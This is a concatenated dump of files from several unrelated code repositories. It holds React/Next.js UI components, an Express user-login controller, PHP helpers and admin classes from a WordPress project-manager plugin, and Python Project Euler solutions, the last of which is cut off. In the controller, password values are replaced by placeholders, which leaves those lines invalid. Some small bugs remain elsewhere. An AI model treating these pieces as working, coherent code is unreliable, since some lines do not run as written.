1rem; border-radius: 5px; } .close-btn { font-size: 2rem; line-height: 0.45; margin-left: 1rem; background-color: ${success ? "var(--positive-light)" : "var(--negative-light)"}; border: none; outline: none; color: ${success ? "var(--positive)" : "var(--negative)"}; } .close-btn:hover { opacity: 80%; cursor: pointer; } `}</style> </> ); } <file_sep>import React from "react"; import InputLayout from "./InputLayout"; const _ = require("lodash"); import { useState } from "react"; const Textarea = ({ //Form attributes value, error, onChange, onBlur, onFocus, //Optional attributes labelText, }) => { const [id] = useState(_.uniqueId("input_")); return ( <> <InputLayout error={error} labelText={labelText} id={id}> <textarea className={error ? "error-input" : undefined} onChange={onChange} value={value} name="textArea" id={id} aria-label="Area testo" onBlur={onBlur} onFocus={onFocus} ></textarea> </InputLayout> <style jsx>{` textarea { width: 100%; height: 10rem; } `}</style> </> ); }; export default Textarea; <file_sep>import Link from "next/link"; import LinkList from "../elements/LinkList"; export default function MobileMenu({ isMenuOpen, toggleMenu }) { return ( <> {isMenuOpen && ( <div className="transparent-overlay" onClick={() => toggleMenu(!isMenuOpen)} ></div> )} <div className="menu-container show-on-mobile"> <div className="exit-container"> <a className="clickable-icon exit-btn" onClick={() => toggleMenu(!isMenuOpen)} > &times; </a> </div> <br /> <div className="link-container"> <div className="calc-menu"> <h2>Calcoli</h2> <LinkList /> </div> </div> <hr /> <div className="link-container"> <Link href="/contatti"> <a className="norm-link">Contatti</a> </Link> </div> </div> <style jsx>{` .exit-btn { font-size: 3rem; color: var(--primary); height: 60px; display: flex; align-items: flex-end; justify-content: flex-end; } h2 { margin-top: 0; margin-bottom: 0.5rem; } .menu-container { z-index: 10; position: fixed; top: 0; right: ${isMenuOpen ? "0" : "-230px"}; padding: 0 1rem 1rem; background-color: white; border-left: 1px solid lightgray; height: 100vh; width: 230px; transition: right 0.2s; } .transparent-overlay { position: fixed; top: 0; left: 0; right: 0; bottom: 0; height: 100vh; width: 100vw; } .link-container { display: flex; align-items: center; flex-direction: column; } `}</style> </> ); }
721203ec83951336d10dd14e1d2f6cf1c7452996
[ "JavaScript", "Markdown" ]
29
JavaScript
g-cappai/calcolafacile
3017dd74d705d3414a8f6933adff788cb880eb58
c4d149ab25672cbbe65aed183f751fe53153f9a8
refs/heads/master
<file_sep><?php function cpm_get_privacy( $value ) { return ($value == 0) ? __( 'Public', 'cpm' ) : __( 'Private', 'cpm' ); } function cpm_tasks_filter( $tasks ) { $response = array( 'completed' => array(), 'pending' => array() ); if ( $tasks ) { $response['pending'] = array_filter( $tasks, 'cpm_tasks_filter_pending' ); $response['completed'] = array_filter( $tasks, 'cpm_tasks_filter_done' ); } return $response; } function cpm_tasks_filter_done( $task ) { return $task->completed == '1'; } function cpm_tasks_filter_pending( $task ) { return $task->completed != '1'; } function cpm_dropdown_users( $selected = array() ) { $placeholder = __( 'Select co-workers', 'cpm' ); $sel = ' selected="selected"'; $users = get_users(); $options = array(); if ( $users ) { foreach ($users as $user) { $options[] = sprintf( '<option value="%s"%s>%s</option>', $user->ID, array_key_exists( $user->ID, $selected ) ? $sel : '', $user->display_name ); } } $dropdown = '<select name="project_coworker[]" id="project_coworker" placeholder="' . $placeholder . '" multiple="multiple">'; $dropdown .= implode("\n", $options ); $dropdown .= '</select>'; return $dropdown; } function cpm_date2mysql( $date, $gmt = 0 ) { $time = strtotime( $date ); return ( $gmt ) ? gmdate( 'Y-m-d H:i:s', $time ) : gmdate( 'Y-m-d H:i:s', ( $time + ( get_option( 'gmt_offset' ) * 3600 ) ) ); } /** * Displays users as checkboxes from a project * * @param int $project_id */ function cpm_user_checkboxes( $project_id ) { $pro_obj = CPM_Project::getInstance(); $users = $pro_obj->get_users( $project_id ); $cur_user = get_current_user_id(); //remove current logged in user from list if ( array_key_exists( $cur_user, $users ) ) { unset( $users[$cur_user] ); } if ( $users ) { //var_dump( $users ); foreach ($users as $user) { $check = sprintf( '<input type="checkbox" name="notify_user[]" id="cpm_notify_%1$s" value="%1$s" />', $user['id'] ); printf( '<label for="cpm_notify_%d">%s %s</label> ', $user['id'], $check, $user['name'] ); } } else { echo __( 'No users found', 'cpm' ); } return $users; } function cpm_task_assign_dropdown( $project_id, $selected = '-1' ) { $users = CPM_Project::getInstance()->get_users( $project_id ); if ( $users ) { echo '<select name="task_assign" id="task_assign">'; echo '<option value="-1">' . __( '-- assign to --', 'cpm' ) . '</option>'; foreach ($users as $user) { printf( '<option value="%s"%s>%s</opton>', $user['id'], selected( $selected, $user['id'], false ), $user['name'] ); } echo '</select>'; } } /** * Comment form upload field helper * * @param int $id comment ID. used for unique edit comment form pickfile ID * @param array $files attached files */ function cpm_upload_field( $id, $files = array() ) { $id = $id ? '-' . $id : ''; ?> <div id="cpm-upload-container<?php echo $id; ?>"> <div class="cpm-upload-filelist"> <?php if ( $files ) { ?> <?php foreach ($files as $file) { $delete = sprintf( '<a href="#" data-id="%d" class="cpm-delete-file button">%s</a>', $file['id'], __( 'Delete File' ) ); $hidden = sprintf( '<input type="hidden" name="cpm_attachment[]" value="%d" />', $file['id'] ); $file_url = sprintf( '<a href="%1$s" target="_blank"><img src="%2$s" alt="%3$s" /></a>', $file['url'], $file['thumb'], esc_attr( $file['name'] ) ); $html = '<div class="cpm-uploaded-item">' . $file_url . ' ' . $delete . $hidden . '</div>'; echo $html; } ?> <?php } ?> </div> <?php printf( __('To attach, <a id="cpm-upload-pickfiles%s" href="#">select files</a> from your computer.', 'cpm' ), $id ); ?> </div> <?php } function cpm_get_currency( $amount = 0 ) { $currency = '$'; return $currency . $amount; } function cpm_get_date( $date, $show_time = false ) { $date = strtotime( $date ); if ( $show_time ) { $format = get_option( 'date_format' ) . ' ' . get_option( 'time_format' ); } else { $format = get_option( 'date_format' ); } $date_html = sprintf( '<time datetime="%1$s" title="%1$s">%2$s</time>', date( 'c', $date ), date_i18n( $format, $date ) ); return apply_filters( 'cpm_get_date', $date_html, $date ); } function cpm_show_errors( $errors ) { echo '<ul>'; foreach ($errors as $msg) { printf( '<li>%s</li>', cpm_show_message( $msg, 'error' ) ); } echo '</ul>'; } /** * Show info messages * * @param string $msg message to show * @param string $type message type */ function cpm_show_message( $msg, $type = 'cpm-updated' ) { ?> <div class="<?php echo esc_attr( $type ); ?>"> <p><strong><?php echo $msg; ?></strong></p> </div> <?php } function cpm_task_completeness( $total, $completed ) { //skipping vision by zero problem if ( $total < 1 ) { return; } $percentage = (100 * $completed) / $total; ob_start(); ?> <div class="cpm-progress cpm-progress-info"> <div style="width:<?php echo $percentage; ?>%" class="bar completed"></div> <div class="text"><?php printf( '%s: %d%% (%d of %d)', __( 'Completed', 'cpm' ), $percentage, $completed, $total ); ?></div> </div> <?php return ob_get_clean(); } function cpm_is_left( $from, $to ) { $diff = $to - $from; if ( $diff > 0 ) { return true; } return false; } /** * The main logging function * * @uses error_log * @param string $type type of the error. e.g: debug, error, info * @param string $msg */ function cpm_log( $type = '', $msg = '' ) { if ( WP_DEBUG == true ) { $msg = sprintf( "[%s][%s] %s\n", date( 'd.m.Y h:i:s' ), $type, $msg ); error_log( $msg, 3, dirname( __FILE__ ) . '/debug.log' ); } } function cpm_get_number( $number ) { return number_format_i18n( $number ); } function cpm_print_url( $link, $text ) { return sprintf( '<a href="%s">%s</a>', $link, $text ); } function cpm_get_content( $content ) { $content = apply_filters( 'the_content', $content ); $content = str_replace( ']]>', ']]&gt;', $content ); return $content; } function cpm_get_header( $active_menu, $project_id = 0 ) { $cpm_active_menu = $active_menu; require_once CPM_PLUGIN_PATH . '/views/project/header.php'; } function cpm_comment_text( $comment_ID = 0 ) { $comment = get_comment( $comment_ID ); return apply_filters( 'comment_text', get_comment_text( $comment_ID ), $comment ); } function cpm_excerpt( $text, $length, $append = '...' ) { $text = wp_strip_all_tags( $text, true ); $count = mb_strlen( $text ); $text = mb_substr( $text, 0, $length ); if( $count > $length ) { $text = $text . $append; } return $text; } function cpm_data_attr( $values ) { $data = array(); foreach ($values as $key => $val) { $data[] = sprintf( 'data-%s="%s"', $key, esc_attr( $val ) ); } echo implode( ' ', $data ); } function cpm_project_summary( $info ) { $info_array = array(); if( $info->discussion ) { $info_array[] = sprintf( _n( '%d message', '%d messages', $info->discussion, 'cpm' ), $info->discussion ); } if( $info->todolist ) { $info_array[] = sprintf( _n( '%d to-do list', '%d to-do lists', $info->todolist, 'cpm' ), $info->todolist ); } if( $info->todos ) { $info_array[] = sprintf( _n( '%d to-do', '%d to-dos', $info->todos, 'cpm' ), $info->todos ); } if( $info->comments ) { $info_array[] = sprintf( _n( '%d comment', '%d comments', $info->comments, 'cpm' ), $info->comments ); } if( $info->files ) { $info_array[] = sprintf( _n( '%d file', '%d files', $info->files, 'cpm' ), $info->files ); } if( $info->milestone ) { $info_array[] = sprintf( _n( '%d milestone', '%d milestones', $info->milestone, 'cpm' ), $info->milestone ); } return implode(', ', $info_array ); } <file_sep><?php function cpm_sc_user_url( $atts ) { $atts = extract( shortcode_atts( array('id' => 0), $atts ) ); return cpm_url_user( $id ); } add_shortcode( 'cpm_user_url', 'cpm_sc_user_url' ); function cpm_sc_message_url( $atts ) { $atts = extract( shortcode_atts( array( 'id' => 0, 'project' => 0, 'title' => '' ), $atts ) ); $url = cpm_url_single_message( $project, $id ); return sprintf( '<a href="%s">%s</a>', $url, $title ); } add_shortcode( 'cpm_msg_url', 'cpm_sc_message_url' ); function cpm_sc_tasklist_url( $atts ) { $atts = extract( shortcode_atts( array( 'id' => 0, 'project' => 0, 'title' => '' ), $atts ) ); $url = cpm_url_single_tasklist( $project, $id ); return sprintf( '<a href="%s">%s</a>', $url, $title ); } add_shortcode( 'cpm_tasklist_url', 'cpm_sc_tasklist_url' ); function cpm_sc_task_url( $atts ) { $atts = extract( shortcode_atts( array( 'id' => 0, 'list' => 0, 'project' => 0, 'title' => '' ), $atts ) ); $url = cpm_url_single_task( $project, $list, $id ); return sprintf( '<a href="%s">%s</a>', $url, $title ); } add_shortcode( 'cpm_task_url', 'cpm_sc_task_url' ); function cpm_sc_comment_url( $atts ) { $atts = extract( shortcode_atts( array( 'id' => 0, 'project' => 0, ), $atts ) ); $url = cpm_url_comment( $id, $project ); if ( !$url ) { return '<span class="cpm-strikethrough">' . __( 'thread', 'cpm' ) . '</span>'; } return sprintf( '<a href="%s">%s</a>', $url, __( 'thread', 'cpm' ) ); } add_shortcode( 'cpm_comment_url', 'cpm_sc_comment_url' );<file_sep><?php /** * Project dashboard page */ cpm_get_header( __( 'Activity', 'cpm' ), $project_id ); ?> <h3 class="cpm-nav-title"> <?php _e( 'Project Activity', 'wedevs' ); ?> <?php if ( current_user_can( 'delete_others_posts' ) ) { //editor ?> <span class="cpm-right"> <a href="#" class="cpm-icon-delete cpm-project-delete-link" title="<?php esc_attr_e( 'Delete project', 'cpm' ); ?>" <?php cpm_data_attr( array('confirm' => 'Are you sure to delete this project', 'project_id' => $project_id) ) ?>> <span><?php _e( 'Delete', 'cpm' ); ?></span> </a> </span> <?php } ?> </h3> <ul class="cpm-activity dash"> <?php $activities = CPM_Comment::getInstance()->get_comments( $project_id, 'DESC' ); if ( $activities ) { foreach ($activities as $activity) { ?> <li> <?php echo do_shortcode( $activity->comment_content ); ?> <span class="date">- <?php echo cpm_get_date( $activity->comment_date, true ); ?></span> </li> <? } } ?> </ul><file_sep><?php /** * Message Listing table * * @package Client Project Manager */ class CPM_Child_List_Table extends WP_Posts_List_Table { public $is_trash = false; private $post_type; private $post_parent; function __construct( $post_type, $post_parent = null ) { global $post_type_object; $this->post_type = $post_type; $this->post_parent = $post_parent; parent::__construct(); $post_type_object = get_post_type_object( $this->post_type ); } function get_views() { global $post_type_object, $locked_post_status, $avail_post_stati; $post_type = $this->post_type; if ( !empty( $locked_post_status ) ) return array(); $status_links = array(); $num_posts = $this->count_posts( $post_type, 'readable' ); $class = ''; $allposts = ''; $total_posts = array_sum( (array) $num_posts ); // Subtract post types that are not included in the admin all list. foreach (get_post_stati( array('show_in_admin_all_list' => false) ) as $state) $total_posts -= $num_posts->$state; $class = empty( $class ) && empty( $_REQUEST['post_status'] ) && empty( $_REQUEST['show_sticky'] ) ? ' class="current"' : ''; $status_links['all'] = "<a href='edit.php?post_type=$post_type{$allposts}'$class>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_posts, 'posts' ), number_format_i18n( $total_posts ) ) . '</a>'; $statuses = get_post_stati( array('show_in_admin_status_list' => true), 'objects' ); foreach ($statuses as $status) { $class = ''; $status_name = $status->name; if ( !in_array( $status_name, $avail_post_stati ) ) continue; if ( empty( $num_posts->$status_name ) ) continue; if ( isset( $_REQUEST['post_status'] ) && $status_name == $_REQUEST['post_status'] ) $class = ' class="current"'; $status_links[$status_name] = "<a href='edit.php?post_status=$status_name&amp;post_type=$post_type'$class>" . sprintf( translate_nooped_plural( $status->label_count, $num_posts->$status_name ), number_format_i18n( $num_posts->$status_name ) ) . '</a>'; } $num_posts->total = $total_posts; return apply_filters( "cpm_{$this->post_type}_table_views", $status_links, $num_posts, $statuses, $this->post_parent ); } function prepare_items() { global $post_type_object, $avail_post_stati, $wp_query, $per_page, $mode; $query_args = array( 'post_type' => $this->post_type, ); $query_args['post_parent'] = $this->post_parent ? $this->post_parent : 0; $query_args['m'] = isset( $_GET['m'] ) ? (int) $_GET['m'] : 0; $query_args['cat'] = isset( $_GET['cat'] ) ? (int) $_GET['cat'] : 0; $wp_query = new WP_Query( apply_filters( 'cpm_table_query', $query_args ) ); //$avail_post_stati = wp_edit_posts_query( $query_args ); $avail_post_stati = get_available_post_statuses( $this->post_type ); $this->hierarchical_display = ( $post_type_object->hierarchical && 'menu_order title' == $wp_query->query['orderby'] ); $total_items = $this->hierarchical_display ? $wp_query->post_count : $wp_query->found_posts; $post_type = $post_type_object->name; $per_page = $this->get_items_per_page( 'edit_' . $post_type . '_per_page' ); $per_page = apply_filters( 'edit_posts_per_page', $per_page, $post_type ); if ( $this->hierarchical_display ) $total_pages = ceil( $total_items / $per_page ); else $total_pages = $wp_query->max_num_pages; $mode = empty( $_REQUEST['mode'] ) ? 'list' : $_REQUEST['mode']; $this->is_trash = isset( $_REQUEST['post_status'] ) && $_REQUEST['post_status'] == 'trash'; $this->set_pagination_args( array( 'total_items' => $total_items, 'total_pages' => $total_pages, 'per_page' => $per_page ) ); } function count_posts( $type = 'post', $perm = '' ) { global $wpdb; $user = wp_get_current_user(); $cache_key = $this->post_type . '_' . $this->post_parent; $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s AND post_parent = %d"; if ( 'readable' == $perm && is_user_logged_in() ) { $post_type_object = get_post_type_object( $type ); if ( !current_user_can( $post_type_object->cap->read_private_posts ) ) { $cache_key .= '_' . $perm . '_' . $user->ID; $query .= " AND (post_status != 'private' OR ( post_author = '$user->ID' AND post_status = 'private' ))"; } } $query .= ' GROUP BY post_status'; $count = wp_cache_get( $cache_key, 'counts' ); if ( false !== $count ) return $count; $count = $wpdb->get_results( $wpdb->prepare( $query, $this->post_type, $this->post_parent ), ARRAY_A ); $stats = array(); foreach (get_post_stati() as $state) $stats[$state] = 0; foreach ((array) $count as $row) $stats[$row['post_status']] = $row['num_posts']; $stats = (object) $stats; wp_cache_set( $cache_key, $stats, 'counts' ); return $stats; } function get_column_info() { $screen = get_current_screen(); $columns = apply_filters( "cpm_{$this->post_type}_columns", get_column_headers( $screen ) ); $hidden = get_hidden_columns( $screen ); $_sortable = apply_filters( "cpm_{$this->post_type}_sortable_columns", $this->get_sortable_columns() ); $sortable = array(); foreach ($_sortable as $id => $data) { if ( empty( $data ) ) continue; $data = (array) $data; if ( !isset( $data[1] ) ) $data[1] = false; $sortable[$id] = $data; } $this->_column_headers = array($columns, $hidden, $sortable); return $this->_column_headers; } }
8294d401dd470a520d0764984b1951139916edc6
[ "PHP" ]
4
PHP
samuelthan/wp-project-manager
eada6d99cefff0f8244b42fcbc356fe5681d056d
39f217c903e15cfc635e727e37c87ce8b16e4492
refs/heads/master
<repo_name>jrodas2019129/ProyectoMediweb<file_sep>/src/controlador/usuario.controlador.js 'use strict'; var Usuario = require('../modelo/usuario.modelo') var bcrypt = require('bcrypt-nodejs'); var jwt = require('../servicios/jwt') function adminApp(req, res) { var usuarioModel = Usuario(); usuarioModel.username = "ADMIN"; usuarioModel.rol = "ROL_ADMIN"; Usuario.find({ username: "ADMIN" }).exec((err, adminoEncontrado) => { if (err) return console.log({ mensaje: "Error creando Administrador" }); if (adminoEncontrado.length >= 1) { return console.log("El Administrador está listo"); } else { bcrypt.hash("<PASSWORD>", null, null, (err, passwordEncriptada) => { usuarioModel.password = <PASSWORD>; usuarioModel.save((err, usuarioguardado) => { if (err) return console.log({ mensaje: "Error en la peticion" }); if (usuarioguardado) { console.log("Administrador listo"); } else { console.log({ mensaje: "El administrador no está listo" }); } }); }); } }); } function login(req, res) { var params = req.body; Usuario.findOne({ username: params.username }, (err, usuarioEncontrado) => { if (err) return res.status(500).send({ mensaje: "Error en la petición" }); if (usuarioEncontrado) { bcrypt.compare(params.password, usuarioEncontrado.password, (err, passVerificada) => { if (err) return res.status(500).send({ mensaje: "Error en la petición" }); if (passVerificada) { if (params.getToken == "true") { return res.status(200).send({ token: jwt.createToken(usuarioEncontrado) }); } else { usuarioEncontrado.password = <PASSWORD>; return res.status(200).send({ usuarioEncontrado }); } } else { return res.status(500).send({ mensaje: "El usuario no se ha podido identificar" }); } }) } else { return res.status(500).send({ mensaje: "Error al buscar usuario" }); } }); } function registrarUsuario(req, res) { var usuarioModel = new Usuario(); var params = req.body; if (params.username && params.password) { usuarioModel.username = params.username; usuarioModel.rol = "ROL_USUARIO"; Usuario.find({ username: params.username }).exec((err, adminoEncontrado) => { if (err) return console.log({ mensaje: "Error en la peticion" }); if (adminoEncontrado.length >= 1) { return res.status(500).send("Este usuario ya existe"); } else { bcrypt.hash(params.password, null, null, (err, passwordEncriptada) => { usuarioModel.password = <PASSWORD>; usuarioModel.save((err, usuarioguardado) => { if (err) return res.status(500).send({ mensaje: "Error en la peticion" }); if (usuarioguardado) { res.status(200).send({ usuarioguardado }); } else { res.status(500).send({ mensaje: "Error al registrar el usuario" }); } }); }); } }); } else { if (err) return res.status(500).send({ mensaje: "No puede deje espacios vacios" }); } } function editarUsuario(req, res) { var idUsuario = req.params.id; var params = req.body; delete params.password; delete params.rol; Usuario.findByIdAndUpdate(idUsuario, params, { new: true }, (err, usuarioActualizado) => { if (err) return res.status(500).send({ mensaje: 'Error en la peticion' }); if (!usuarioActualizado) return res.status(500).send({ mensaje: 'No se a podido editar al Usuario' }); return res.status(200).send({ usuarioActualizado }) }) } function eliminarUsuario(req, res) { var UsuarioId = req.params.id; Usuario.findByIdAndDelete(UsuarioId, function(err, usuarioEliminado) { if (err) return res.status(500).send({ mensaje: 'Error borrando usuario' }) if (!usuarioEliminado) return res.status(500).send({ mensaje: 'No se pudo eliminar usuario porque no hay datos' }) return res.status(200).send({ usuarioEliminado }) }); } module.exports = { adminApp, login, registrarUsuario, editarUsuario, eliminarUsuario }
57b98e69399b1c68a5c145399cc291a1ffcaff82
[ "JavaScript" ]
1
JavaScript
jrodas2019129/ProyectoMediweb
53f2d6867c85d22630bb49d47b3091c912150436
5d863cfdc339d46dbe4a58cc0131f0d1459b8abd
refs/heads/master
<repo_name>neocpp89/project-euler<file_sep>/id120/id120.py #!/usr/bin/env python # If you expand the terms of (a-1)**n + (a+1)**2 # and use the binomial theorem, # you can see that even n results in 2 + X*a**2 + XX*a**4, # so even n means a remainder of 2 mod a**2. # doing the same for odd n results in 2*a*n mod a**2. # You can find the maximum through inspection, # if a is even, n_max = a-1, so the remainder is a**2 - 2*a # if a is odd, n_max=(a-1)/2, so the remainder is a**2 - a. def max_remainder_mod_asq(a): if a % 2 == 0: return (a**2 - 2*a) else: return (a**2 - a) print sum(map(max_remainder_mod_asq, range(3,1001))) <file_sep>/id72/id72.py #!/usr/bin/env python import math lim = 10 ** 6 def prime_factors(n): lim = int(math.floor(math.sqrt(n))) s = 0 pf = [] for i in xrange(2,lim+1): while n % i == 0: pf.append(i) n = n / i if n != 1: pf.append(n) return pf def totient(n): pf = list(set(prime_factors(n))) num = n * reduce(lambda x, y: x*(y-1), pf, 1) den = reduce(lambda x, y: x*y, pf, 1) return (num / den) c = 0 for d in xrange(2,1+lim): c += totient(d) print c <file_sep>/id119/id119.py #!/usr/bin/env python from math import log ''' lim = 10 ** 10 c = 0 for x in xrange(11, 1+lim): s = sum(map(int, str(x))) if (s > 1): q = int(log(x, s)) if s ** q == x: c += 1 print c, x ''' c = 0 n = set() for b in range(2,401): for e in range(2,31): s = b ** e if b == sum(map(int, str(s))): n.add(s) for x in enumerate(sorted(list(n))): print x <file_sep>/id20/id20.py #!/usr/bin/env python f = range(1,101) print f f5 = filter(lambda x: x % 5 == 0, f) f2 = filter(lambda x: x % 2 == 0 and x % 10 != 0, f) fn25 = filter(lambda x: x % 5 != 0 and x % 2 != 0, f) print fn25, f2, f5 for i in xrange(0, len(f5)): f2[i] = f2[i]*f5[i] while (f2[i] % 10 == 0): f2[i] = f2[i] / 10 f5[i] = 1 print fn25, f2, f5 f = filter(lambda x: x != 1, fn25 + f2 + f5) print f print sum([int(x) for x in str(reduce(lambda x,y: x*y, f, 1))]) <file_sep>/id36/id36.py #!/usr/bin/env python nums = range(1,int(1e6)+1) strs = map(str, nums) print 'made strings' candidates = [] for s in strs: if (s[::-1] == s): candidates.append(int(s)) print 'found candidates' binstrs = map(lambda x: bin(x)[2:], candidates) dbpalindromes = [] for b in binstrs: if (b[::-1] == b): dbpalindromes.append(b) print 'found double base palindromes' print sum(map(lambda x: int('0b'+x, base=0), dbpalindromes)) <file_sep>/id65/id65.py #!/usr/bin/env python def gen_num(n): a = 2 yield a b = 3 yield b for x in range(0, n-2): f = 1 if (x % 3 == 0): f = 2 * (1 + (x / 3)) c = f * b + a yield c a = b b = c def gen_den(n): a = 1 yield a b = 1 yield b for x in range(0, n-2): f = 1 if (x % 3 == 0): f = 2 * (1 + (x / 3)) c = f * b + a yield c a = b b = c print sum(map(int, list(str(list(gen_num(100))[-1])))) <file_sep>/id58/id58.py #!/usr/bin/env python def is_prime(n): if n == 2 or n == 3: return True if n < 2 or n%2 == 0: return False if n < 9: return True if n%3 == 0: return False r = int(n**0.5) f = 5 while f <= r: if n%f == 0: return False if n%(f+2) == 0: return False f +=6 return True def spiral_diags(sidelength): s = sidelength lrc = s ** 2 return map(lambda x: lrc - x * (s - 1), range(0,4)[::-1]) acc = [1] total = 1 acc_prime = 0 i = 3 while True: total += 4 diags = spiral_diags(i) # print diags acc_prime += sum(map(is_prime, diags)) ratio = float(acc_prime) / float(total) if (ratio <= 0.1): print i break i += 2 <file_sep>/id145/id145.c #include <stdio.h> int reverse(int n) { int r = n % 10; while ((n /= 10) > 0) { r *= 10; r += (n % 10); } return r; } int allodddigits(int n) { while (n > 0) { if ((n % 10) % 2 == 0) { return 0; } n /= 10; } return 1; } int main(int argc, char **argv) { int c = 0; for (int i = 0; i < 1000000000; i++) { if (i % 10 == 0) { continue; } if (allodddigits(i + reverse(i))) { c++; printf("%d %d\n", i, c); } } return 0; } <file_sep>/id52/id52.py #!/usr/bin/env python def sdigits(i): return sorted(list(str(i))) i = 100 while True: i += 1 s = sdigits(i) if (s == sdigits(2*i) and s == sdigits(3*i) and s == sdigits(4*i) and s == sdigits(5*i) and s == sdigits(6*i)): print i break <file_sep>/id77/id77.py #!/usr/bin/python import math import sys sys.setrecursionlimit(15000) def num_ways_to_make(want, possible): if (want == 0): return 1 if (want <= 0 or not possible): return 0 return num_ways_to_make(want, possible[:-1]) + num_ways_to_make(want-possible[-1], possible) def is_prime(n): if (n == 0 or n == 1): return False lim = int(math.sqrt(n))+1 for x in range(2,lim): if (n % x == 0): return False return True lim = 10 ** 5 primes = set(x for x in range(0, lim+1) if is_prime(x)) composites = set(range(0, lim+1)) - primes lp = list(primes) for n in range(0, lim+1): if num_ways_to_make(n, filter(lambda x: x <= n, lp)) > 5000: print n, num_ways_to_make(n, filter(lambda x: x <= n, lp)) break <file_sep>/id94/id94.py #!/usr/bin/env python def intsqrt(n): x = n xn = n / 2 while (x > xn): x = xn xn = (x + n / x) / 2 return x def has_int_area(a,b,c): p = (a + b + c) if (p % 2 == 1): return False s = p / 2 asq = s*(s-a)*(s-b)*(s-c) a = intsqrt(asq) return (a * a == asq) def intarea_p(a): qq = (a - 1) * (3 * a + 1) q = intsqrt(qq) if (q * q == qq): if ((q * (a - 1)) % 4 == 0): return True return False def intarea_n(a): qq = (a + 1) * (3 * a - 1) q = intsqrt(qq) if (q * q == qq): if ((q * (a + 1)) % 4 == 0): return True return False ''' lim = 10 ** 9 ptotal = 0 for p in xrange(4, 1+lim): if (p % 3 == 0): continue a = p / 3 if (p % 3 == 2): a += 1 c = p - (2 * a) if has_int_area(a,a,c): print a, a, c ptotal += p ''' lim = 1 + (10 ** 9 / 3) ptotal = 0 for a in xrange(5, 1+lim, 4): if intarea_n(a): ptotal += 3*a - 1 print a, a, a - 1, 3*a - 1, ptotal if intarea_p(a): ptotal += 3*a + 1 print a, a, a + 1, 3*a + 1, ptotal print ptotal <file_sep>/id197/id197.py #!/usr/bin/env python import numpy def f(x): return (1e-9 * numpy.floor(numpy.power(2, 30.403243784 - x ** 2))) #print f(-1) #print f(f(-1)) #print f(f(f(-1))) #print f(f(f(f(-1)))) #print (f(-1) + f(f(-1))) #print f(f(f(-1))) + f(f(f(f(-1)))) up = f(-1) u = f(up) for i in xrange(1,2000): print(u + up) up = u u = f(up) <file_sep>/id95/id95.py #!/usr/bin/env python import math def aliquot(n): lim = int(math.floor(math.sqrt(n))) s = 0 for i in xrange(1,lim+1): if n % i == 0: if (i == n/i): s += i else: s += i + n/i return (s - n) lim = 10 ** 6 try: with open('aliquots.txt') as f: aliquots = map(int, f) except: aliquots = map(aliquot, range(0,1+lim)) for x in aliquots: print x exit() amicable = [0]*(1+lim) chain = 0 for i in range(0,1+lim): if (amicable[i] != 0): continue start = aliquots[i] seen = set([]) x = start while x not in seen: if (x < (lim + 1)): seen.add(x) x = aliquots[x] else: break if (x == start): chain += 1 amicable[i] = chain for s in seen: amicable[s] = chain break t = zip(aliquots, amicable, range(0, 1 + lim)) ac = filter(lambda x: x[1] != 0, t) m = 0 ml = 0 for l in range(0, chain+1): w = len(filter(lambda a: a[1] == l, ac)) if (w > m): m = w ml = l print filter(lambda a: a[1] == ml, ac)[0][2] <file_sep>/id85/id85.py #!/usr/bin/env python l = 10 ** 2 d = {} for X in range(1, l): for Y in range(X, l): nr = 0 for x in range(0, X): for y in range(0, Y): nr += (X-x)*(Y-y) d[(X,Y)] = nr best = 0 ab = 10000 for k in d: if (abs(2*10**6 - d[k]) < ab): best = k ab = abs(2*10**6 - d[k]) print best, ab, d[best], best[0]*best[1] <file_sep>/id90/id90.py #!/usr/bin/env python from itertools import combinations def extendtup(s): sl = list(s) if 6 in s and 9 not in s: sl.append(9) if 9 in s and 6 not in s: sl.append(6) return tuple(sorted(sl)) def can_form(n, d1, d2): if ((n[0] in d1 and n[1] in d2) or (n[0] in d2 and n[1] in d1)): return True return False def check_squares(d1, d2): l = [(0,1),(0,4),(0,9),(1,6),(2,5),(3,6),(4,9),(6,4),(8,1)] for x in l: if not can_form(x, d1, d2): return False return True singlesix = 0 doublesix = 0 seen = set() possible1 = combinations(range(0,10), 6) for x in possible1: possible2 = combinations(range(0,10), 6) oldx = x x = tuple(sorted(x)) for y in possible2: oldy = y if (x,y) in seen or (y,x) in seen: continue if check_squares(extendtup(x),extendtup(y)): print x, y seen.add((x,y)) seen.add((y,x)) print len(seen)/2 <file_sep>/id191/id191.py #!/usr/bin/env python def prize_strings_in_branch(maxd, d=0, prefix_has_late=False, consecutive_absent_count=0): if d == maxd: return 1 c = 0 # mark late if not prefix_has_late: c += prize_strings_in_branch(maxd, d+1, True, 0) # mark absent if consecutive_absent_count < 2: c += prize_strings_in_branch(maxd, d+1, prefix_has_late, consecutive_absent_count+1) # mark on-time c += prize_strings_in_branch(maxd, d+1, prefix_has_late, 0) return c print prize_strings_in_branch(30) <file_sep>/id97/id97.py #!/usr/bin/env python print ((pow(2, 7830457, 10 ** 10) * 28433 + 1) % 10 ** 10) <file_sep>/id41/id41.py #!/usr/bin/env python import math import itertools #def to_base_nine(n): # while n != 0: # s = s + str(n % 9) # return s #def from_base_nine(s): # n = 0 # for c in s: # n = 9*n + int(c) # return n #s = '' #for i in xrange(1,500000): # s = s + str(i); #for i in [1, 10, 100, 1000, 10000, 100000,1000000]: # print s[i-1] #print from_base_nine('1234') def aliquot(n): lim = int(math.floor(math.sqrt(n))) s = 0 for i in xrange(1,lim+1): if n % i == 0: if (i == n/i): s += i else: s += i + n/i return (s - n) s = '' ss = [] for i in range(1,10): s = s + str(i) ss.append(s) ss.reverse() print ss maxpp = 0 for elem in ss: s = list(str(elem)) perms = itertools.permutations(s) for p in perms: # print p pp = int("".join(p)) if (aliquot(pp) == 1): print pp if (pp >= maxpp): maxpp = pp if (maxpp > 0): break print maxpp <file_sep>/id99/id99.py #!/usr/bin/env python import math with open('base_exp.txt') as f: base_exp_pairs = map(lambda line: map(int, line.split(',')), f) print base_exp_pairs logs = map(lambda be: math.log10(be[0]) * be[1], base_exp_pairs) maxl = max(logs) print maxl, 1+logs.index(maxl) <file_sep>/id33/id33.py #!/usr/bin/env python for a in range(1,10): for b in range(1,10): for c in range(1,10): if (a == b and b == c): continue resid = 10 * a * (c - b) - c * (a - b) if (resid == 0): print a,b,c <file_sep>/id43/id43.py #!/usr/bin/env python import itertools digits = range(0,10) csum = 0 for p in itertools.permutations(digits): num = int("".join(map(str,list(p)))) # print num div2 = int("".join(map(str,list(p[1:4])))) 